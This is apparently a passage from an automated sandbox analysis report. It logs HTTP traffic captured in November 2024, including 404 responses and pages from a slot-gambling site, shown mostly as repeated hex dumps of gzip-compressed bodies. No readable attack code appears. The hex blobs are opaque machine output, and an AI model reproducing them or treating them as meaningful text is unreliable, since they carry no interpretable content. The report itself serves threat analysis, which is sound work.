2d 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6e 61 67 61 73 6c 38 39 2e 62 61 62 79 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 69 74 65 6d 61 70 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6e 61 67 61 73 6c 38 39 2e 62 61 62 79 2f 73 69 74 65 6d 61 70 2e 78 6d 6c 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 52 54 50 20 53 4c 4f 54 4f 38 39 20 46 Data Ascii: 2099<!DOCTYPE html><html lang="id-ID"><head> <meta charset="utf-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge" /><meta name="viewport" content="width=device-width, initial-scale=1, viewport-fit=cover" /><meta name="generator" content="BukanWordpress" /><link rel="icon" type="image/x-icon" href="https://www.nagasl89.baby/favicon.ico" /><link rel="sitemap" href="https://www.nagasl89.baby/sitemap.xml" /><link rel="alternate" type="application/rss+xml" title="RTP SLOTO89 F
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 05 Nov 2024 14:37:28 GMTServer: ApacheX-Powered-By: PHP/8.1.29Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://abuali-contracting.art/wp-json/>; rel="https://api.w.org/"Strict-Transport-Security: max-age=63072000; includeSubDomainsX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffVary: Accept-EncodingContent-Encoding: gzipContent-Length: 24178Connection: closeContent-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed bd 69 93 e4 c6 91 20 fa 99 6d f6 fe 03 98 34 b2 2b c9 04 12 f7 51 d5 d5 12 59 24 25 ce 36 45 99 9a 92 de 4a 4d 2b 43 02 c8 2a 74 23 13 29 20 b3 0e 96 ea c3 68 24 ad 56 fb 7e c5 ee ce 8a c3 37 1a 99 46 6f 76 4c fb 4b aa ff cd 73 f7 c0 7d 25 f2 e8 6e 72 d4 4d 56 15 10 f0 f0 70 f7 f0 f0 70 8f f3 c1 9b 1f 7e 76 f2 f9 7f fe e1 47 dc f9 72 16 3c bc f7 00 ff 70 ae 1f 1d 0f a2 65 30 e0 02 7b 7e 76 3c b0 a3 01 b7 88 bc a9 7f 75 3c 08 cf 0e 01 76 b9 88 0f c7 e3 f0 6c 21 cc bc f1 3c 7e 6b 80 59 3d db 7d 78 ef 8d 07 33 6f 69 73 ce b9 1d c5 de f2 78 f0 e3 cf 3f e6 cd 01 37 ce be cc ed 99 77 3c b8 f0 bd cb 45 18 2d 07 9c 13 ce 97 de 1c 20 2f 7d 77 79 7e ec 7a 17 be e3 f1 f4 32 e2 fc b9 bf f4 ed 80 8f 1d 3b f0 8e 25 c2 73 ef 8d 37 1e bc c9 f3 dc fb 41 00 df b9 cf e6 1e f7 f8 a3 cf 38 55 30 04 55 90 38 9e b3 fd 30 f6 42 c1 09 67 1c cf 3f fc bf 10 7e e9 2f 03 ef e1 83 31 fb 8b 29 05 5a a2 70 12 2e e3 02 25 f3 d0 9f bb de 15 a3 ba 04 7a e6 cd bd c8 5e 86 51 01 ba 42 c7 c1 fb 9f 7c 06 7f 87 29 41 29 96 d8 89 fc c5 92 5b 5e 2f 00 8f bd 58 04 be 63 2f fd 70 3e 0e dc f7 9e c6 e1 1c 30 06 76 1c c3 37 22 1f 58 3e f7 66 f6 00 f3 be 71 33 f8 2e 15 77 b5 1c 1c 0e 98 f4 9f 8c 9f 8c 19 88 10 46 67 83 d1 e0 bb 67 91 bd 38 1f 1c fe 1c 80 b1 10 80 fc 20 82 2a 71 a2 d5 6c f2 c8 8f 97 08 e3 bb 25 04 f6 64 65 07 3e 8f b8 23 db 59 fa f3 33 c1 8e 96 4f c6 d7 cb f9 b3 27 e3 b7 26 59 fe 80 e5 f7 97 de 0c 51 7d 14 78 33 e0 bd 54 18 a6 7f 02 df 37 28 e6 ad 20 cf b3 08 63 1f c5 31 38 94 46 03 14 36 60 78 b2 12 75 d9 c0 df aa 8a bf 15 89 52 74 4a b1 29 45 c9 9f 65 2b a1 b0 57 d9 00 3b 07 79 7e d2 17 3e 11 49 46 f1 ed 68 27 d6 ab e8 8a 02 90 4b 02 50 ec 02 bb 12 47 2f 1a fd 36 89 6b a7 f0 3c 45 3c 11 b4 a0 70 15 f7 e6 ac c0 d3 17 45 ae 3e 8b ce ec b9 ff 25 29 e9 26 95 1a 96 f3 15 eb 92 6a 4b 36 19 c5 c4 8a 62 e5 d5 ab da 5c e1 45 2d 70 2a 17 34 c1 cc bf b2 14 d9 86 52 5c 8f b5 2f 12 20 15 a6 ea 79 d6 24 93 c6 e5 e5 cb 76 ae 51 6a 51 8b 18 5d 45 b5 93 a7 f9 e7 04 d4 2c a8 a3 91 a3 13 9d b6 cc 46 21 5d ef 93 ad c6 a6 62 b4 80 16 db 40 91 a4 44 76 05 b2 9b ca 51 0a 28 b4 02 79 ad 84 39 39 79 8a 52 10 68 49 26 d3 62 6e b3 26 44 b5 8e d6 a3 dc 05 de 37 c9 9d 94 ea 55 99 4f 70 30 25 53 e4 b6 b2 0b 32 60 52 96 dd 42 6e b5 ae 2f 45 c9 6a 35 7c ec 73 42 78 a1 ca Data Ascii: i m4+QY$%6EJM+C*t#) h$V~7FovLKs}%nrMVpp~vGr<pe0{~v<u<vl!
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 05 Nov 2024 14:37:31 GMTServer: ApacheX-Powered-By: PHP/8.1.29Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://abuali-contracting.art/wp-json/>; rel="https://api.w.org/"Strict-Transport-Security: max-age=63072000; includeSubDomainsX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffVary: Accept-EncodingContent-Encoding: gzipContent-Length: 24178Connection: closeContent-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed bd 69 93 e4 c6 91 20 fa 99 6d f6 fe 03 98 34 b2 2b c9 04 12 f7 51 d5 d5 12 59 24 25 ce 36 45 99 9a 92 de 4a 4d 2b 43 02 c8 2a 74 23 13 29 20 b3 0e 96 ea c3 68 24 ad 56 fb 7e c5 ee ce 8a c3 37 1a 99 46 6f 76 4c fb 4b aa ff cd 73 f7 c0 7d 25 f2 e8 6e 72 d4 4d 56 15 10 f0 f0 70 f7 f0 f0 70 8f f3 c1 9b 1f 7e 76 f2 f9 7f fe e1 47 dc f9 72 16 3c bc f7 00 ff 70 ae 1f 1d 0f a2 65 30 e0 02 7b 7e 76 3c b0 a3 01 b7 88 bc a9 7f 75 3c 08 cf 0e 01 76 b9 88 0f c7 e3 f0 6c 21 cc bc f1 3c 7e 6b 80 59 3d db 7d 78 ef 8d 07 33 6f 69 73 ce b9 1d c5 de f2 78 f0 e3 cf 3f e6 cd 01 37 ce be cc ed 99 77 3c b8 f0 bd cb 45 18 2d 07 9c 13 ce 97 de 1c 20 2f 7d 77 79 7e ec 7a 17 be e3 f1 f4 32 e2 fc b9 bf f4 ed 80 8f 1d 3b f0 8e 25 c2 73 ef 8d 37 1e bc c9 f3 dc fb 41 00 df b9 cf e6 1e f7 f8 a3 cf 38 55 30 04 55 90 38 9e b3 fd 30 f6 42 c1 09 67 1c cf 3f fc bf 10 7e e9 2f 03 ef e1 83 31 fb 8b 29 05 5a a2 70 12 2e e3 02 25 f3 d0 9f bb de 15 a3 ba 04 7a e6 cd bd c8 5e 86 51 01 ba 42 c7 c1 fb 9f 7c 06 7f 87 29 41 29 96 d8 89 fc c5 92 5b 5e 2f 00 8f bd 58 04 be 63 2f fd 70 3e 0e dc f7 9e c6 e1 1c 30 06 76 1c c3 37 22 1f 58 3e f7 66 f6 00 f3 be 71 33 f8 2e 15 77 b5 1c 1c 0e 98 f4 9f 8c 9f 8c 19 88 10 46 67 83 d1 e0 bb 67 91 bd 38 1f 1c fe 1c 80 b1 10 80 fc 20 82 2a 71 a2 d5 6c f2 c8 8f 97 08 e3 bb 25 04 f6 64 65 07 3e 8f b8 23 db 59 fa f3 33 c1 8e 96 4f c6 d7 cb f9 b3 27 e3 b7 26 59 fe 80 e5 f7 97 de 0c 51 7d 14 78 33 e0 bd 54 18 a6 7f 02 df 37 28 e6 ad 20 cf b3 08 63 1f c5 31 38 94 46 03 14 36 60 78 b2 12 75 d9 c0 df aa 8a bf 15 89 52 74 4a b1 29 45 c9 9f 65 2b a1 b0 57 d9 00 3b 07 79 7e d2 17 3e 11 49 46 f1 ed 68 27 d6 ab e8 8a 02 90 4b 02 50 ec 02 bb 12 47 2f 1a fd 36 89 6b a7 f0 3c 45 3c 11 b4 a0 70 15 f7 e6 ac c0 d3 17 45 ae 3e 8b ce ec b9 ff 25 29 e9 26 95 1a 96 f3 15 eb 92 6a 4b 36 19 c5 c4 8a 62 e5 d5 ab da 5c e1 45 2d 70 2a 17 34 c1 cc bf b2 14 d9 86 52 5c 8f b5 2f 12 20 15 a6 ea 79 d6 24 93 c6 e5 e5 cb 76 ae 51 6a 51 8b 18 5d 45 b5 93 a7 f9 e7 04 d4 2c a8 a3 91 a3 13 9d b6 cc 46 21 5d ef 93 ad c6 a6 62 b4 80 16 db 40 91 a4 44 76 05 b2 9b ca 51 0a 28 b4 02 79 ad 84 39 39 79 8a 52 10 68 49 26 d3 62 6e b3 26 44 b5 8e d6 a3 dc 05 de 37 c9 9d 94 ea 55 99 4f 70 30 25 53 e4 b6 b2 0b 32 60 52 96 dd 42 6e b5 ae 2f 45 c9 6a 35 7c ec 73 42 78 a1 ca Data Ascii: i m4+QY$%6EJM+C*t#) h$V~7FovLKs}%nrMVpp~vGr<pe0{~v<u<vl!
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 05 Nov 2024 14:37:34 GMTServer: ApacheX-Powered-By: PHP/8.1.29Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://abuali-contracting.art/wp-json/>; rel="https://api.w.org/"Strict-Transport-Security: max-age=63072000; includeSubDomainsX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffVary: Accept-EncodingContent-Encoding: gzipContent-Length: 24178Connection: closeContent-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed bd 69 93 e4 c6 91 20 fa 99 6d f6 fe 03 98 34 b2 2b c9 04 12 f7 51 d5 d5 12 59 24 25 ce 36 45 99 9a 92 de 4a 4d 2b 43 02 c8 2a 74 23 13 29 20 b3 0e 96 ea c3 68 24 ad 56 fb 7e c5 ee ce 8a c3 37 1a 99 46 6f 76 4c fb 4b aa ff cd 73 f7 c0 7d 25 f2 e8 6e 72 d4 4d 56 15 10 f0 f0 70 f7 f0 f0 70 8f f3 c1 9b 1f 7e 76 f2 f9 7f fe e1 47 dc f9 72 16 3c bc f7 00 ff 70 ae 1f 1d 0f a2 65 30 e0 02 7b 7e 76 3c b0 a3 01 b7 88 bc a9 7f 75 3c 08 cf 0e 01 76 b9 88 0f c7 e3 f0 6c 21 cc bc f1 3c 7e 6b 80 59 3d db 7d 78 ef 8d 07 33 6f 69 73 ce b9 1d c5 de f2 78 f0 e3 cf 3f e6 cd 01 37 ce be cc ed 99 77 3c b8 f0 bd cb 45 18 2d 07 9c 13 ce 97 de 1c 20 2f 7d 77 79 7e ec 7a 17 be e3 f1 f4 32 e2 fc b9 bf f4 ed 80 8f 1d 3b f0 8e 25 c2 73 ef 8d 37 1e bc c9 f3 dc fb 41 00 df b9 cf e6 1e f7 f8 a3 cf 38 55 30 04 55 90 38 9e b3 fd 30 f6 42 c1 09 67 1c cf 3f fc bf 10 7e e9 2f 03 ef e1 83 31 fb 8b 29 05 5a a2 70 12 2e e3 02 25 f3 d0 9f bb de 15 a3 ba 04 7a e6 cd bd c8 5e 86 51 01 ba 42 c7 c1 fb 9f 7c 06 7f 87 29 41 29 96 d8 89 fc c5 92 5b 5e 2f 00 8f bd 58 04 be 63 2f fd 70 3e 0e dc f7 9e c6 e1 1c 30 06 76 1c c3 37 22 1f 58 3e f7 66 f6 00 f3 be 71 33 f8 2e 15 77 b5 1c 1c 0e 98 f4 9f 8c 9f 8c 19 88 10 46 67 83 d1 e0 bb 67 91 bd 38 1f 1c fe 1c 80 b1 10 80 fc 20 82 2a 71 a2 d5 6c f2 c8 8f 97 08 e3 bb 25 04 f6 64 65 07 3e 8f b8 23 db 59 fa f3 33 c1 8e 96 4f c6 d7 cb f9 b3 27 e3 b7 26 59 fe 80 e5 f7 97 de 0c 51 7d 14 78 33 e0 bd 54 18 a6 7f 02 df 37 28 e6 ad 20 cf b3 08 63 1f c5 31 38 94 46 03 14 36 60 78 b2 12 75 d9 c0 df aa 8a bf 15 89 52 74 4a b1 29 45 c9 9f 65 2b a1 b0 57 d9 00 3b 07 79 7e d2 17 3e 11 49 46 f1 ed 68 27 d6 ab e8 8a 02 90 4b 02 50 ec 02 bb 12 47 2f 1a fd 36 89 6b a7 f0 3c 45 3c 11 b4 a0 70 15 f7 e6 ac c0 d3 17 45 ae 3e 8b ce ec b9 ff 25 29 e9 26 95 1a 96 f3 15 eb 92 6a 4b 36 19 c5 c4 8a 62 e5 d5 ab da 5c e1 45 2d 70 2a 17 34 c1 cc bf b2 14 d9 86 52 5c 8f b5 2f 12 20 15 a6 ea 79 d6 24 93 c6 e5 e5 cb 76 ae 51 6a 51 8b 18 5d 45 b5 93 a7 f9 e7 04 d4 2c a8 a3 91 a3 13 9d b6 cc 46 21 5d ef 93 ad c6 a6 62 b4 80 16 db 40 91 a4 44 76 05 b2 9b ca 51 0a 28 b4 02 79 ad 84 39 39 79 8a 52 10 68 49 26 d3 62 6e b3 26 44 b5 8e d6 a3 dc 05 de 37 c9 9d 94 ea 55 99 4f 70 30 25 53 e4 b6 b2 0b 32 60 52 96 dd 42 6e b5 ae 2f 45 c9 6a 35 7c ec 73 42 78 a1 ca Data Ascii: i m4+QY$%6EJM+C*t#) h$V~7FovLKs}%nrMVpp~vGr<pe0{~v<u<vl!
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 05 Nov 2024 14:37:55 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingETag: W/"66cce1df-b96"Content-Encoding: gzipData Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f 17 de 44 ff 37 28 b7 c7 cd 9d 29 bd 13 bd 53 74 17 91 d5 0f 16 37 b9 4a cd 61 81 e8 f6 01 b1 fe a9 d7 77 ea 47 2e e5 15 7a 7c 51 12 ca 9f 26 38 55 16 eb 6a 81 12 58 42 5d b7 f4 af 4f dc 3b 67 7d da db 7c 35 c5 17 bd 40 9c f8 52 6f 26 69 3c e8 62 9d db 05 0a 29 fd 7e c2 4b 6d 41 35 6e b6 2a 29 aa 35 e4 9c 12 ca 07 35 fd aa 41 5a ad d9 2c 90 00 f7 2f 97 73 a4 76 ae 11 57 72 aa a8 74 dd bb d8 16 db 02 31 4a 9f 9d 80 eb ce 3b b5 b3 e6 84 5e ea 6c 4a ee b5 aa aa d8 28 ab 3f 7d ea 07 69 af bd 9b 16 a6 c2 e9 ae 6e 07 60 aa 79 71 c6 cb 8a b2 c4 1b 93 42 9a 20 98 fc 9b 8a 33 95 ea b7 d5 85 5a b7 a3 16 a8 63 4e 71 45 95 99 5e 78 cc ab 8c fd 24 eb 57 00 2c 9e 92 7a 9c ae 6b 53 9f 01 93 98 33 1e 9e 00 27 a4 1e 78 50 75 05 4b 74 06 cd b2 24 11 e2 04 3a 21 f5 d0 66 97 24 ba 69 ce dd 55 77 ca 3f b5 3a 21 0d 61 c2 72 e2 12 56 46 f7 e8 bc af 2a 26 f8 50 0d c3 0a 8f 94 1e 9b ea 26 a9 8b 6d 9b 46 57 ce 67 f6 43 ea ae ef 97 21 3b a9 e6 ae c8 19 e1 63 91 43 3b d0 78 70 87 9f 55 61 66 8c 1d 4b 70 5a ae fe 58 c4 13 b5 b0 ef 7a ad e7 55 91 ea 52 1d 31 6b 2e cb cd 31 c6 5a eb 60 3f df eb 63 56 43 c1 34 e8 a4 9a b2 da 6c fa e1 cc b8 10 2d 20 fb c8 bf 76 bb dd 5c f0 d9 84 ef 5e cb f9 d0 78 97 f3 fe 3c 58 ba 06 dc f6 e4 b4 d8 a3 a4 54 4d b3 f2 c6 fd e7 b5 3d 7a ca aa cd a1 23 9e 01 ca 9e 7a 42 be dc 71 67 5b 65 00 c1 89 b0 5f f7 c3 59 0f 6e 77 c7 a4 76 32 85 3f ef 74 d3 66 2e 29 ea a4 d4 de 80 78 d8 94 15 20 72 6b b7 8b f9 fc 70 38 90 83 20 a6 5e cf 39 a5 74 0e aa 47 49 77 ac bd 32 0f 2b 8f 22 8a 24 e3 ee 19 98 83 2f b3 e5 56 d9 7c 98 cc d2 95 f7 4e 52 1f ba 6b 90 50 a8 d0 80 c4 71 88 19 63 84 fa 02 71 3f c2 f0 b8 ef 6d 84 44 cc 1d 17 45 4e fa 26 42 8c c5 84 46 a2 fb 82 74 4b 47 51 e3 10 ad 86 a8 d5 e0 9e 2f ef 78 c0 49 20 25 8a 69 82 a5 4f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 05 Nov 2024 14:37:58 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingETag: W/"66cce1df-b96"Content-Encoding: gzipData Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f 17 de 44 ff 37 28 b7 c7 cd 9d 29 bd 13 bd 53 74 17 91 d5 0f 16 37 b9 4a cd 61 81 e8 f6 01 b1 fe a9 d7 77 ea 47 2e e5 15 7a 7c 51 12 ca 9f 26 38 55 16 eb 6a 81 12 58 42 5d b7 f4 af 4f dc 3b 67 7d da db 7c 35 c5 17 bd 40 9c f8 52 6f 26 69 3c e8 62 9d db 05 0a 29 fd 7e c2 4b 6d 41 35 6e b6 2a 29 aa 35 e4 9c 12 ca 07 35 fd aa 41 5a ad d9 2c 90 00 f7 2f 97 73 a4 76 ae 11 57 72 aa a8 74 dd bb d8 16 db 02 31 4a 9f 9d 80 eb ce 3b b5 b3 e6 84 5e ea 6c 4a ee b5 aa aa d8 28 ab 3f 7d ea 07 69 af bd 9b 16 a6 c2 e9 ae 6e 07 60 aa 79 71 c6 cb 8a b2 c4 1b 93 42 9a 20 98 fc 9b 8a 33 95 ea b7 d5 85 5a b7 a3 16 a8 63 4e 71 45 95 99 5e 78 cc ab 8c fd 24 eb 57 00 2c 9e 92 7a 9c ae 6b 53 9f 01 93 98 33 1e 9e 00 27 a4 1e 78 50 75 05 4b 74 06 cd b2 24 11 e2 04 3a 21 f5 d0 66 97 24 ba 69 ce dd 55 77 ca 3f b5 3a 21 0d 61 c2 72 e2 12 56 46 f7 e8 bc af 2a 26 f8 50 0d c3 0a 8f 94 1e 9b ea 26 a9 8b 6d 9b 46 57 ce 67 f6 43 ea ae ef 97 21 3b a9 e6 ae c8 19 e1 63 91 43 3b d0 78 70 87 9f 55 61 66 8c 1d 4b 70 5a ae fe 58 c4 13 b5 b0 ef 7a ad e7 55 91 ea 52 1d 31 6b 2e cb cd 31 c6 5a eb 60 3f df eb 63 56 43 c1 34 e8 a4 9a b2 da 6c fa e1 cc b8 10 2d 20 fb c8 bf 76 bb dd 5c f0 d9 84 ef 5e cb f9 d0 78 97 f3 fe 3c 58 ba 06 dc f6 e4 b4 d8 a3 a4 54 4d b3 f2 c6 fd e7 b5 3d 7a ca aa cd a1 23 9e 01 ca 9e 7a 42 be dc 71 67 5b 65 00 c1 89 b0 5f f7 c3 59 0f 6e 77 c7 a4 76 32 85 3f ef 74 d3 66 2e 29 ea a4 d4 de 80 78 d8 94 15 20 72 6b b7 8b f9 fc 70 38 90 83 20 a6 5e cf 39 a5 74 0e aa 47 49 77 ac bd 32 0f 2b 8f 22 8a 24 e3 ee 19 98 83 2f b3 e5 56 d9 7c 98 cc d2 95 f7 4e 52 1f ba 6b 90 50 a8 d0 80 c4 71 88 19 63 84 fa 02 71 3f c2 f0 b8 ef 6d 84 44 cc 1d 17 45 4e fa 26 42 8c c5 84 46 a2 fb 82 74 4b 47 51 e3 10 ad 86 a8 d5 e0 9e 2f ef 78 c0 49 20 25 8a 69 82 a5 4f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 05 Nov 2024 14:38:00 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingETag: W/"66cce1df-b96"Content-Encoding: gzipData Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f 17 de 44 ff 37 28 b7 c7 cd 9d 29 bd 13 bd 53 74 17 91 d5 0f 16 37 b9 4a cd 61 81 e8 f6 01 b1 fe a9 d7 77 ea 47 2e e5 15 7a 7c 51 12 ca 9f 26 38 55 16 eb 6a 81 12 58 42 5d b7 f4 af 4f dc 3b 67 7d da db 7c 35 c5 17 bd 40 9c f8 52 6f 26 69 3c e8 62 9d db 05 0a 29 fd 7e c2 4b 6d 41 35 6e b6 2a 29 aa 35 e4 9c 12 ca 07 35 fd aa 41 5a ad d9 2c 90 00 f7 2f 97 73 a4 76 ae 11 57 72 aa a8 74 dd bb d8 16 db 02 31 4a 9f 9d 80 eb ce 3b b5 b3 e6 84 5e ea 6c 4a ee b5 aa aa d8 28 ab 3f 7d ea 07 69 af bd 9b 16 a6 c2 e9 ae 6e 07 60 aa 79 71 c6 cb 8a b2 c4 1b 93 42 9a 20 98 fc 9b 8a 33 95 ea b7 d5 85 5a b7 a3 16 a8 63 4e 71 45 95 99 5e 78 cc ab 8c fd 24 eb 57 00 2c 9e 92 7a 9c ae 6b 53 9f 01 93 98 33 1e 9e 00 27 a4 1e 78 50 75 05 4b 74 06 cd b2 24 11 e2 04 3a 21 f5 d0 66 97 24 ba 69 ce dd 55 77 ca 3f b5 3a 21 0d 61 c2 72 e2 12 56 46 f7 e8 bc af 2a 26 f8 50 0d c3 0a 8f 94 1e 9b ea 26 a9 8b 6d 9b 46 57 ce 67 f6 43 ea ae ef 97 21 3b a9 e6 ae c8 19 e1 63 91 43 3b d0 78 70 87 9f 55 61 66 8c 1d 4b 70 5a ae fe 58 c4 13 b5 b0 ef 7a ad e7 55 91 ea 52 1d 31 6b 2e cb cd 31 c6 5a eb 60 3f df eb 63 56 43 c1 34 e8 a4 9a b2 da 6c fa e1 cc b8 10 2d 20 fb c8 bf 76 bb dd 5c f0 d9 84 ef 5e cb f9 d0 78 97 f3 fe 3c 58 ba 06 dc f6 e4 b4 d8 a3 a4 54 4d b3 f2 c6 fd e7 b5 3d 7a ca aa cd a1 23 9e 01 ca 9e 7a 42 be dc 71 67 5b 65 00 c1 89 b0 5f f7 c3 59 0f 6e 77 c7 a4 76 32 85 3f ef 74 d3 66 2e 29 ea a4 d4 de 80 78 d8 94 15 20 72 6b b7 8b f9 fc 70 38 90 83 20 a6 5e cf 39 a5 74 0e aa 47 49 77 ac bd 32 0f 2b 8f 22 8a 24 e3 ee 19 98 83 2f b3 e5 56 d9 7c 98 cc d2 95 f7 4e 52 1f ba 6b 90 50 a8 d0 80 c4 71 88 19 63 84 fa 02 71 3f c2 f0 b8 ef 6d 84 44 cc 1d 17 45 4e fa 26 42 8c c5 84 46 a2 fb 82 74 4b 47 51 e3 10 ad 86 a8 d5 e0 9e 2f ef 78 c0 49 20 25 8a 69 82 a5 4f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 05 Nov 2024 14:38:03 GMTContent-Type: text/html; charset=utf-8Content-Length: 2966Connection: closeVary: Accept-EncodingETag: "66cce1df-b96"Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 